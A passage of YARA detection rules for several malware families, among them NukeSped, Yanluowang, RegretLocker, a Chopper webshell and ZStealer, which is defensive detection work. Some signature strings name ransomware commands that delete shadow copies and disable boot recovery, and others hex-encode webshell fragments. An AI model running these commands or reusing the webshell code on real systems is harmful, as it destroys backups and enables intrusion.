		$seq5 = { 48 89 74 24 48 48 8d 0d 99 5e 18 00 4c 89 74 24 50 48 8b d5 4c 89 7c 24 58 e8 5f 13 17 00 4c 8d b7 0c 08 00 00 49 63 06 85 c0 0f 84 b0 00 00 00 48 8b c8 48 c1 e1 03 ff 15 a8 5f 22 00 48 8b f0 48 85 c0 0f 84 04 01 00 00 45 33 ff ba 00 01 00 00 41 8b df 90 48 8b 07 48 85 c0 74 16 4c 39 78 28 74 08 8b cb ff c3 48 89 04 ce 48 8b 00 48 85 c0 75 ea 48 83 c7 08 48 83 ea 01 75 d8 49 63 16 4c 8d 0d ce 01 00 00 41 b8 08 00 00 00 48 8b ce e8 c0 14 17 00 85 db 74 3e 4c 8b f6 49 8b 0e e8 c1 03 00 00 48 8b f8 48 8b cd 48 85 c0 0f 84 85 00 00 00 4c 8b c0 48 8d 15 58 5a 18 00 e8 33 a8 ff ff 48 8b cf ff 15 22 5f 22 00 41 ff c7 49 83 c6 08 44 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 300KB and 4 of ( $seq* )
}

rule ARKBIRD_SOLG_APT_Lazarus_Jun_2021_1 : FILE
{
	meta:
		description = "Detect a variant of NukeSped malware"
		author = "Arkbird_SOLG"
		id = "0f5d42c0-d6dc-573b-9227-787ccbcaa83d"
		date = "2021-06-19"
		modified = "2021-06-21"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-19/Lazarus/APT_Lazarus_Jun_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "ea4ce93d54b9b8e5d1d5bb64d37ac26839e2fa3200da3057597d83c4be6d129f"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "5c2f339362d0cd8e5a8e3105c9c56971087bea2701ea3b7324771b0ea2c26c6c"
		hash2 = "2dff6d721af21db7d37fc1bd8b673ec07b7114737f4df2fa8b2ecfffbe608a00"
		hash3 = "1177105e51fa02f9977bd435f9066123ace32b991ed54912ece8f3d4fbeeade4"
		tlp = "White"
		adversary = "Lazarus"
	strings:
		$seq1 = { 48 8b ce e8 8a 2c 00 00 48 8b d8 48 85 c0 0f 84 28 06 00 00 4c 8b c6 33 d2 48 8b c8 e8 11 56 00 00 8d 4e fc 48 8d 57 04 4c 63 c1 48 8b cb e8 af 3a 00 00 33 c0 48 8d 4c 24 30 48 89 4c 24 28 45 33 c9 4c 8b c3 33 d2 33 c9 89 44 24 30 89 44 24 20 ff 15 4b 49 01 00 48 85 c0 0f 84 d4 05 00 00 ba 88 13 00 00 48 8b c8 ff 15 9c 2c 02 00 48 8d 8d 91 00 00 00 33 d2 41 b8 ff 03 00 00 c6 85 90 00 00 00 00 e8 a9 55 00 00 48 8d 15 02 c1 01 00 48 8d 8d 90 00 00 00 e8 16 2b 00 00 48 8d 85 90 00 00 00 48 83 cb ff 48 ff c3 80 3c 18 00 75 f7 41 b2 84 ba 43 90 21 57 41 b8 c2 a2 a9 09 85 db 0f 8e 4b 05 00 00 4c 8d 8d 90 00 00 00 44 8b db 66 90 41 0f b6 01 41 0f b6 c8 4d 8d 49 01 32 ca 41 32 c2 44 22 d1 41 32 c0 42 8d 0c c5 00 00 00 00 32 c2 41 33 c8 41 88 41 ff 81 e1 f8 07 00 00 41 0f b6 c0 22 c2 c1 e1 14 44 32 d0 41 8b c0 44 8b c1 c1 e8 08 8d 0c 12 33 ca 44 0b c0 8b c2 c1 e1 04 c1 e0 07 33 ca 83 e1 80 33 c8 8b c2 c1 e1 11 c1 e8 08 8b d1 0b d0 49 ff }
		$seq2 = { 48 8d ac 24 50 ff ff ff 48 81 ec b0 01 00 00 48 8b 05 82 09 02 00 48 33 c4 48 89 85 a0 00 00 00 44 8b 25 d5 38 02 00 4c 8b f9 48 8d 4d 91 33 d2 41 b8 03 01 00 00 c6 45 90 00 e8 59 66 00 00 b9 3c 00 00 00 ff 15 f6 3c 02 00 ff 15 88 59 01 00 8b c8 e8 51 42 00 00 e8 20 42 00 00 b9 3c 00 00 00 8b d8 83 e3 03 83 c3 08 ff 15 d1 3c 02 00 ff 15 63 59 01 00 8b c8 e8 2c 42 00 00 e8 fb 41 00 00 b9 3c 00 00 00 8b f8 83 e7 01 83 c7 05 ff 15 ac 3c 02 00 ff 15 3e 59 01 00 8b c8 e8 07 42 00 00 e8 d6 41 00 00 8b f0 b8 ab aa aa aa f7 e6 d1 ea 8d 0c 52 2b f1 83 eb 08 0f 84 30 03 00 00 ff cb 0f 84 68 02 00 00 ff cb 0f 84 9a 01 00 00 ff cb 0f 85 ef 04 00 00 8d 4b 3c ff 15 60 3c 02 00 ff 15 f2 58 01 00 8b c8 e8 bb 41 00 00 e8 8a 41 00 00 8b d8 b8 1f 85 eb 51 f7 e3 c1 ea 03 6b ca 19 2b d9 b9 3c 00 00 00 83 c3 0a ff 15 2f 3c 02 00 ff 15 c1 58 01 00 8b c8 e8 8a 41 00 00 e8 59 41 00 00 44 8b f0 b8 ab aa aa aa 41 f7 e6 c1 ea 02 8d 0c 52 03 c9 44 2b f1 b9 3c 00 00 00 41 81 c6 d7 07 00 00 ff 15 f5 3b 02 00 ff 15 87 58 01 00 8b c8 e8 50 41 00 00 e8 1f 41 00 00 44 8b e8 b8 ab aa aa aa 41 f7 e5 c1 ea 03 8d 0c 52 c1 e1 02 44 2b e9 b9 3c 00 00 00 41 ff c5 ff 15 be 3b 02 00 ff 15 50 58 01 00 8b c8 e8 19 41 00 00 e8 e8 40 00 00 44 8b c0 b8 09 cb 3d 8d 41 f7 e0 c1 ea 04 6b ca 1d 44 2b c1 b9 7d 00 00 00 41 ff c0 44 89 44 24 74 e8 3e 3b 00 00 33 d2 44 8d 42 7d 48 8b c8 e8 d0 64 00 00 4c 8d 44 24 70 48 8d 0d d4 ce 01 00 ba 7c 00 00 00 c7 44 24 70 00 00 00 00 e8 c2 27 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 48 89 44 24 78 e8 3d 25 00 00 48 8b 44 24 78 4c 8d 45 90 48 8b d0 4c 2b c0 0f 1f 40 00 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 48 8b c8 e8 88 3a 00 00 8b 44 24 74 44 89 64 24 48 89 5c 24 40 89 44 24 38 44 89 6c 24 30 48 8d 55 90 44 8b cf 41 b8 04 00 00 00 49 8b cf 44 89 74 24 28 89 74 24 20 e8 b4 39 00 00 e9 5d 03 00 00 b9 3c 00 00 00 ff 15 cc 3a 02 00 ff 15 5e 57 01 00 8b c8 e8 27 40 00 00 e8 f6 3f 00 00 b9 79 00 00 00 8b d8 83 e3 03 e8 63 3a 00 00 33 d2 44 8d 42 79 48 8b c8 e8 f5 63 00 00 4c 8d 44 24 70 48 8d 0d 79 cd 01 00 ba 78 00 00 00 c7 44 24 70 00 00 00 00 e8 e7 26 00 00 44 8b 44 24 70 48 8b d0 48 8b c8 4c 8b f0 e8 64 24 00 00 4c 8d 45 90 49 8b d6 4d 2b c6 66 66 0f 1f 84 00 00 00 00 00 0f b6 0a 48 8d 52 01 41 88 4c 10 ff 84 c9 75 f0 49 8b ce e8 b8 39 00 00 44 89 64 24 38 8d 43 04 89 44 24 30 44 8d 4b 08 48 8d 55 90 41 b8 04 00 00 00 49 8b cf 89 74 24 28 89 }
		$seq3 = { 48 89 5c 24 18 55 56 57 48 83 ec 70 48 8b 05 9d fe 01 00 48 33 c4 48 89 44 24 60 33 c0 48 8b d9 8b fa 8d 48 20 c6 44 24 48 00 48 89 44 24 49 48 89 44 24 51 e8 d7 31 00 00 48 8d 15 44 c6 01 00 48 8b f0 33 c0 48 8d 4c 24 48 48 89 06 48 89 46 08 48 89 46 10 4c 8b c3 48 89 46 18 e8 3f 13 00 00 48 8d 4c 24 48 ff 15 ac 50 01 00 bd 02 00 00 00 0f b7 cf 89 44 24 3c 66 89 6c 24 38 ff 15 a5 2e 02 00 8d 55 ff 44 8d 45 04 8b cd 66 89 44 24 3a ff 15 01 32 02 00 48 8b f8 48 83 f8 ff 75 20 48 8d 15 e1 c5 01 00 48 8b ce e8 81 30 00 00 48 0b df 48 ff c3 80 3c 1e 00 75 f7 e9 c9 00 00 00 48 8d 54 24 38 41 b8 10 00 00 00 48 8b c8 ff 15 f4 31 02 00 83 f8 ff 75 6b 48 8d 15 a8 c5 01 00 48 8b ce e8 48 30 00 00 48 83 cb }
		$seq4 = { 40 55 48 8d ac 24 e0 fb ff ff 48 81 ec 20 05 00 00 48 8b 05 b8 fc 01 00 48 33 c4 48 89 85 10 04 00 00 48 8d 8d f1 00 00 00 33 d2 41 b8 03 01 00 00 c6 85 f0 00 00 00 00 e8 93 59 00 00 48 8d 8d 01 02 00 00 33 d2 41 b8 07 02 00 00 c6 85 00 02 00 00 00 e8 78 59 00 00 48 8d 4d e1 33 d2 41 b8 03 01 00 00 c6 45 e0 00 e8 63 59 00 00 48 8d 95 f0 00 00 00 41 b8 f4 01 00 00 33 c9 ff 15 2e 30 02 00 85 c0 0f 84 5e 01 00 00 48 8d 55 e0 b9 f4 01 00 00 48 89 9c 24 30 05 00 00 48 89 bc 24 38 05 00 00 ff 15 17 30 02 00 4c 8d 05 20 15 02 00 48 8d 4d e0 ba 04 01 00 00 e8 5a 37 00 00 48 8d 45 e0 4c 8d 0d f7 14 02 00 48 89 44 24 28 48 8d 85 f0 00 00 00 4c 8d 85 f0 00 00 00 48 8d 15 dd c3 01 00 48 8d 8d 00 02 00 00 48 89 44 24 20 e8 fc 10 00 00 33 ff 48 8d 4d e0 48 89 7c 24 30 44 8d 47 03 45 33 c9 ba 00 00 00 40 c7 44 24 28 80 00 00 00 c7 44 24 20 02 00 00 00 ff 15 6f 2f 02 00 48 8b d8 }
		$seq5 = { 48 89 5c 24 10 48 89 74 24 18 48 89 7c 24 20 55 48 8d ac 24 70 f2 ff ff 48 81 ec 90 0e 00 00 48 8b 05 da ed 01 00 48 33 c4 48 89 85 80 0d 00 00 48 8b f1 48 8d 8d 81 05 00 00 33 d2 41 b8 ff 07 00 00 c6 85 80 05 00 00 00 e8 b2 4a 00 00 48 8d 4d 71 33 d2 41 b8 03 01 00 00 c6 45 70 00 e8 9d 4a 00 00 33 c0 c6 44 24 50 00 39 05 f4 1c 02 00 89 44 24 51 75 0b e8 b5 dd ff ff 89 05 e3 1c 02 00 48 8d 4d 70 e8 c6 e3 ff ff 8b 05 e8 b5 01 00 48 8d 8d 81 01 00 00 89 44 24 50 0f b6 05 da b5 01 00 33 d2 41 b8 ff 03 00 00 c6 85 80 01 00 00 00 88 44 24 54 e8 46 4a 00 00 48 8d 15 3f b6 01 00 48 8d 8d 80 01 00 00 e8 b3 1f 00 00 48 8d 4d 90 33 d2 0f 10 05 b6 b6 01 00 0f 10 0d bf b6 01 00 41 b8 d4 00 00 00 0f 29 44 24 60 0f 29 4c 24 70 0f 10 05 b8 b6 01 00 0f 29 45 80 e8 ff 49 00 00 48 83 cb ff 48 8b c3 0f 1f 84 }
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 60KB and 4 of ( $seq* )
}

rule ARKBIRD_SOLG_RAN_Yanluowang_Dec_2021_1 : FILE
{
	meta:
		description = "Detect Yanluowang ransomware"
		author = "Arkbird_SOLG"
		id = "339d3dab-9bdd-5a46-8261-c32862ccc3bf"
		date = "2021-12-17"
		modified = "2021-12-18"
		reference = "https://samples.vx-underground.org/samples/Families/YanluowangRansomware/"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-18/RAN_Yanluowang_Dec_2021_1.yara#L1-L20"
		license_url = "N/A"
		logic_hash = "0144874fb24411b4378a2e2992934e674808f01ecc38f23d0d9d37e1d45621e4"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d"
		hash2 = "d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c"
		tlp = "white"
		adversary = "-"
	strings:
		$s1 = { 6a 00 68 7b 4d 45 00 e8 52 2a 00 00 6a 00 6a 00 68 44 58 45 00 68 78 58 45 00 68 d8 56 45 00 c6 45 fc 15 8b 3d d8 71 44 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 cc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 e4 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 fc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 10 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 2c 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 88 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 d0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 ec 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 00 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 14 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 28 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 7c 5a 45 00 68 78 58 45 00 }
		$s2 = { 83 bd d4 ee ff ff 10 8d 85 c0 ee ff ff 51 0f 43 85 c0 ee ff ff 8d 8d 90 ee ff ff 50 6a 30 68 a0 56 45 00 8d 85 c0 ee ff ff 50 ff b5 e8 ee ff ff e8 83 45 00 00 83 bd a4 ee ff ff 10 8d 85 90 ee ff ff 6a 00 0f 43 85 90 ee ff ff 6a 00 50 68 d4 56 45 00 68 d8 56 45 00 6a 00 ff d7 8b 95 a4 ee ff ff 83 fa 10 72 2f 8b 8d 90 ee ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc }
		$s3 = { 68 00 00 00 f0 6a 01 6a 00 6a 00 8d 85 5c ee ff ff 50 ff 15 14 70 44 00 8d 85 40 ee ff ff 50 57 6a 01 ff b5 5c ee ff ff ff 15 40 70 44 00 8b 35 1c 70 44 00 8d 85 60 ec ff ff 6a 20 50 6a 00 6a 00 6a 01 6a 00 ff b5 40 ee ff ff c7 85 e8 ee ff ff 20 00 00 00 c7 85 60 ec ff ff 20 00 00 00 ff d6 ff b5 60 ec ff ff e8 1f cc 01 00 8b 8d 50 ec ff ff 83 c4 04 89 85 4c ec ff ff 0f 10 01 0f 11 00 0f 10 41 10 8d 8d e8 ee ff ff 0f 11 40 10 ff b5 60 ec ff ff 51 50 6a 00 6a 01 6a 00 ff b5 40 ee ff ff ff d6 8d 85 6c ec ff ff 33 ff 50 57 6a 01 68 80 00 00 00 ff b5 4c ec ff ff 89 bd 40 ec ff ff 89 bd bc ee ff ff ff 15 3c 70 44 00 85 c0 74 47 ff b5 6c ec ff ff e8 ae cb 01 00 83 c4 04 8b f0 8d 85 6c ec ff ff 89 b5 bc ee ff ff 50 56 6a 01 68 80 00 00 00 ff b5 4c ec ff ff ff 15 3c 70 44 00 85 }
		$s4 = { 8b ec 6a ff 68 2b 52 44 00 64 a1 00 00 00 00 50 81 ec 8c 02 00 00 a1 c0 c8 45 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 6a 05 33 c0 c7 45 c0 00 00 00 00 68 84 57 45 00 8d 4d c0 c7 45 d0 00 00 00 00 c7 45 d4 07 00 00 00 66 89 45 c0 e8 59 3f 00 00 c7 45 fc 00 00 00 00 8d 4d d8 6a 03 33 c0 c7 45 d8 00 00 00 00 68 90 57 45 00 c7 45 e8 00 00 00 00 c7 45 ec 07 00 00 00 66 89 45 d8 e8 28 3f 00 00 6a 00 6a 0f c7 45 fc 01 00 00 00 ff 15 98 70 44 00 8b f0 89 b5 74 fd ff ff 83 fe ff 0f 84 2c 02 00 00 a1 9c 70 44 00 8d 7d c0 8b 0d 48 70 44 00 89 85 7c fd ff ff a1 80 70 44 00 89 85 78 fd ff ff a1 4c 70 44 00 89 85 80 fd ff ff a1 90 70 44 00 c7 85 88 fd ff ff 00 00 00 00 89 bd 84 fd ff ff 89 8d 6c fd ff ff 89 85 70 fd ff ff 66 66 66 }
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 100KB and all of ( $s* )
}

rule ARKBIRD_SOLG_Ran_Regretlocker_Oct_2020_1 : FILE
{
	meta:
		description = "Detect RegretLocker ransomware"
		author = "Arkbird_SOLG"
		id = "a8d58402-15e2-5d20-8d33-2e7a3f8973fd"
		date = "2020-11-04"
		modified = "2020-11-04"
		reference = "https://twitter.com/VK_Intel/status/1323693700371914753"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-04/RegretLocker/Ran_RegretLocker_Oct_2020_1.yar#L1-L24"
		license_url = "N/A"
		logic_hash = "2c63bdcee6f2a9025d3a1f73f3a38ec58da103752b88bd3a6bf79d85d8f92e4d"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4"
	strings:
		$seq1 = { b8 05 dd 44 00 e8 07 7d 00 00 81 ec b0 06 00 00 53 56 33 db c7 45 cc 07 00 00 00 33 c0 89 5d c8 57 66 89 45 b8 40 c7 85 7c ff ff ff 02 00 00 00 c7 45 e0 ec 4a 98 ec 8d 75 e0 c7 45 e4 f9 a0 e9 47 8d 7d 80 c7 45 e8 90 1f 71 41 c7 45 ec 5a 66 34 5b 89 45 90 89 45 b0 89 45 b4 8d 45 d0 50 a5 8d 45 b0 50 53 68 00 00 3f 00 ff 75 0c a5 8d 85 7c ff ff ff 50 89 5d fc a5 a5 e8 76 50 00 00 85 c0 74 32 ff 15 74 00 45 00 50 68 88 1b 45 00 e8 ab de ff ff 8b 75 08 8d 45 b8 59 59 88 5d f0 8b ce ff 75 f0 89 5e 10 50 89 5e 14 e8 bb 50 ff ff e9 cb 01 00 00 53 8d 45 90 50 53 6a 04 53 ff 75 d0 e8 35 50 00 00 85 c0 74 08 50 68 bc 1b 45 00 eb bd 33 c0 8d bd 4c fb ff ff b9 82 00 00 00 be 04 01 00 00 f3 ab 8d 85 4c fb ff ff 89 75 d4 50 8d 45 d4 83 cb ff 50 ff 75 d0 e8 02 50 00 00 83 65 e8 00 8d 4d d8 33 c0 6a 07 5f 66 89 45 d8 8d 85 4c fb ff ff 50 89 7d ec e8 c6 6d ff ff 6a ff 68 f4 1b 45 00 8d 4d d8 c6 45 fc 01 e8 fd e8 ff ff 83 f8 ff 74 38 83 65 a8 00 33 c9 6a ff 50 8d 45 d8 66 89 4d 98 50 8d 4d 98 89 7d ac e8 3d df ff ff 83 7d ac 08 8d 45 98 0f 43 45 98 50 e8 bc 58 02 00 59 8d 4d 98 8b d8 e8 dd 69 ff ff 56 8d 85 54 fd ff ff 50 ff 15 f0 00 45 00 8b f8 8d 85 54 fd ff ff 50 8d 4d d8 e8 57 6d ff ff 8b 4d ec 8d 45 d8 8b 55 d8 83 f9 08 8b 75 e8 0f 43 c2 66 83 7c 70 fe 5c 75 16 83 f9 08 8d 45 d8 0f 43 c2 33 c9 66 89 4c 70 fe 8b 4d ec 8b 55 d8 83 f9 08 8d 45 d8 0f 43 c2 33 c9 51 51 6a 03 51 6a 03 51 50 ff 15 dc 00 45 00 8b f0 83 fe ff 74 7e 33 c9 8d 45 d4 51 50 68 04 01 00 00 8d 85 5c ff ff ff 50 51 51 68 00 00 56 00 56 ff 15 84 01 45 00 39 9d 64 ff ff ff 75 2c 8d 45 d4 50 68 04 01 00 00 8d 85 44 f9 ff ff 50 8d 85 54 fd ff ff 50 ff 15 08 01 45 00 8d 85 44 f9 ff ff 50 8d 4d b8 e8 b1 6c ff ff 56 ff 15 a8 00 45 00 68 04 01 00 00 8d 85 54 fd ff ff 50 57 ff 15 f8 00 45 00 85 c0 0f 85 29 ff ff ff 57 ff 15 fc 00 45 00 8b 75 08 33 c0 88 45 f0 8b ce ff 75 f0 89 46 10 89 46 14 8d 45 b8 50 e8 f3 4e ff ff 8d 4d d8 e8 cb 68 ff ff 8d 4d b8 e8 c3 68 ff ff 8b 4d f4 8b c6 5f 5e 5b 64 89 0d 00 00 00 00 c9 }
		$seq2 = { 89 7d e4 e8 d5 a9 ff ff c7 04 24 88 02 00 00 6a 40 ff 15 28 01 45 00 8b f0 c7 45 d4 88 02 00 00 8d 45 d4 89 75 e8 50 56 e8 78 1b 00 00 83 f8 6f 75 17 56 ff 15 2c 01 45 00 ff 75 d4 6a 40 ff 15 28 01 45 00 8b f0 89 45 e8 8d 45 d4 50 56 e8 52 1b 00 00 85 c0 0f 84 }
		$com1 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" fullword ascii
		$com2 = { 63 6d 64 2e 65 78 65 00 20 26 20 00 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 }
		$com3 = "bcdedit.exe / set{ default } recoveryenabled No" fullword ascii
		$com4 = "vssadmin.exe Delete Shadows / All / Quiet" fullword ascii
		$com5 = "schtasks /Create /SC MINUTE /TN " fullword ascii
		$com6 = "schtasks /Delete /TN " fullword ascii
		$str1 = { 47 45 54 20 25 73 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 25 73 }
		$str2 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 25 73 }
		$str3 = "Content-Type: application/x-www-form-urlencoded" fullword ascii
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 200KB and all of ( $seq* ) and 4 of ( $com* ) and 2 of ( $str* )
}

rule ARKBIRD_SOLG_APT_UNC2452_Webshell_Chopper_Mar_2021_1 : FILE
{
	meta:
		description = "Detect exploit listener in the exchange configuration for Webshell Chopper used by UNC2452 group"
		author = "Arkbird_SOLG"
		id = "174af8e1-0df0-5ad7-ac7d-a208f64cb765"
		date = "2021-03-07"
		modified = "2021-03-07"
		reference = "Internal Research"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-03-07/UNC2452/APT_UNC2452_Webshell_Chopper_Mar_2021_1.yar#L1-L26"
		license_url = "N/A"
		logic_hash = "77bd7e5c10aa9cf2b407b37a76954b4eed163e36653e1fb3cde5de853f824cf0"
		score = 75
		quality = 73
		tags = "FILE"
	strings:
		$l1 = { 20 68 74 74 70 3a 2f 2f ?? 2f 3c 73 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 22 63 23 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 76 6f 69 64 20 50 61 67 65 5f 4c 6f 61 64 28 6f 62 6a 65 63 74 20 73 65 6e 64 65 72 2c 20 45 76 65 6e 74 41 72 67 73 20 65 29 7b 69 66 20 28 52 65 71 75 65 73 74 2e 46 69 6c 65 73 2e 43 6f 75 6e 74 21 3d 30 29 20 7b 20 52 65 71 75 65 73 74 2e 46 69 6c 65 73 5b 30 5d 2e 53 61 76 65 41 73 28 53 65 72 76 65 72 2e 4d 61 70 50 61 74 68 28 22 [5-14] 22 29 29 3b 7d 7d 3c 2f 73 63 72 69 70 74 3e }
		$l2 = { 68 74 74 70 3a 2f 2f ?? 2f 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 53 63 72 69 70 74 22 20 72 75 6e 61 74 3d 22 73 65 72 76 65 72 22 3e 66 75 6e 63 74 69 6f 6e 20 50 61 67 65 5f 4c 6f 61 64 28 29 7b 65 76 61 6c 28 [-] 2c 22 75 6e 73 61 66 65 22 29 3b 7d 3c 2f 73 63 72 69 70 74 3e }
		$c1 = { 5c 4f 41 42 20 28 44 65 66 61 75 6c 74 20 57 65 62 20 53 69 74 65 29 }
		$c2 = "ExternalUrl" fullword ascii
		$c3 = { 49 49 53 3a 2f 2f [10-30] 2f 57 33 53 56 43 2f [1-3] 2f 52 4f 4f 54 2f 4f 41 42 }
		$c4 = "FrontEnd\\HttpProxy\\OAB" fullword ascii
		$c5 = "/Configuration/Schema/ms-Exch-OAB-Virtual-Directory" fullword ascii
	condition:
		filesize > 1KB and 1 of ( $l* ) and 3 of ( $c* )
}

rule ARKBIRD_SOLG_MAL_Zstealer_Nov_2021_1 : FILE
{
	meta:
		description = "Detect ZStealer stealer used by Void Balaur group"
		author = "Arkbird_SOLG"
		id = "0282884b-569a-5e46-a6ad-d2776ff71ddb"
		date = "2021-11-11"
		modified = "2021-11-12"
		reference = "https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf"
		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-11/Void_Balaur/MAL_ZStealer_Nov_2021_1.yara#L1-L19"
		license_url = "N/A"
		logic_hash = "c3bec4fb8338ad71577e63f81c22b5d250083f2475f60610de8dccd4979035d3"
		score = 75
		quality = 75
		tags = "FILE"
		hash1 = "af89d85a3b579ac754850bd6e52e7516c2e63141107001463486cd01bc175052"
		hash2 = "5a2c9060f6cc1e6e0fd09b2b194631d2c7e7f024d9e2d3a9be64570e263f565f"
		tlp = "white"
		adversary = "Void Balaur"
	strings:
		$s1 = { 53 33 c0 55 68 71 d3 46 00 64 ff 30 64 89 20 a1 80 7f 7b 00 8b 10 ff 52 44 a1 84 7f 7b 00 8b 10 ff 52 44 8d 45 fc 50 68 80 d3 46 00 68 02 00 00 80 e8 e3 a3 f9 ff 85 c0 0f 85 94 01 00 00 8d 45 f8 ba 00 10 00 00 e8 86 83 f9 ff c7 45 f0 00 10 00 00 33 db e9 49 01 00 00 8d 45 f4 50 6a 00 8d 45 f8 e8 36 82 f9 ff 8d 55 e8 e8 e6 cd f9 ff 8b 4d e8 8d 45 ec ba bc d3 46 00 e8 12 80 f9 ff 8b 55 ec b9 fc d3 46 00 b8 02 00 00 80 e8 d4 d8 ff ff 84 c0 0f 84 01 01 00 00 8d 55 e4 8b 45 f4 e8 c5 c0 f9 ff 8b 55 e4 8d 45 f4 e8 6e 7d f9 ff 8b 55 f4 b8 14 d4 46 00 e8 cd 82 f9 ff 85 c0 7e 32 8d 45 e0 50 8b 55 f4 b8 14 d4 46 00 e8 b8 82 f9 ff 8b c8 83 c1 03 ba 01 00 00 00 8b 45 f4 e8 c2 81 f9 ff 8b 55 e0 a1 80 7f 7b 00 8b 08 ff 51 38 eb 0d 8b 55 f4 a1 80 7f 7b 00 8b 08 ff 51 38 8d 45 f4 50 6a 00 8d 45 f8 e8 90 81 f9 ff 8d 55 d8 e8 40 cd f9 ff 8b 4d d8 8d 45 dc ba bc d3 46 00 e8 6c 7f f9 ff 8b 55 dc b9 24 d4 46 00 b8 02 00 00 80 e8 2e d8 ff ff 84 c0 74 42 8d 45 f8 }
		$s2 = { 8b d9 88 55 fb 89 45 fc 33 c0 55 68 b3 2e 46 00 64 ff 30 64 89 20 33 d2 8b 45 fc e8 a0 11 fa ff b2 01 a1 2c 74 41 00 e8 94 11 fa ff 8b 55 fc 89 42 0c 8b 45 fc c6 40 08 00 33 c0 89 45 f4 33 d2 55 68 96 2e 46 00 64 ff 32 64 89 22 8d 45 f0 89 5d ec 8b 55 ec e8 9e 21 fa ff 8b 45 fc 83 c0 04 50 8b 45 f0 e8 b7 25 fa ff 50 e8 2d f5 ff ff 83 c4 08 85 c0 74 66 8b 45 fc 8b 40 04 85 c0 74 39 50 e8 26 f5 ff ff 59 89 45 f4 89 5d dc c6 45 e0 0b 8b 45 f4 89 45 e4 c6 45 e8 06 8d 45 dc 50 6a 01 b9 e4 2e 46 00 b2 01 a1 58 2c 46 00 e8 be a1 fa ff e8 9d 19 fa ff eb 23 89 5d d4 c6 45 d8 0b 8d 45 d4 50 6a 00 b9 10 2f 46 00 b2 01 a1 58 2c 46 00 e8 99 a1 fa ff e8 78 19 fa ff 33 c0 5a 59 59 64 89 10 68 9d 2e 46 00 83 7d f4 00 74 0a 8b 45 f4 50 e8 c4 f4 ff ff }
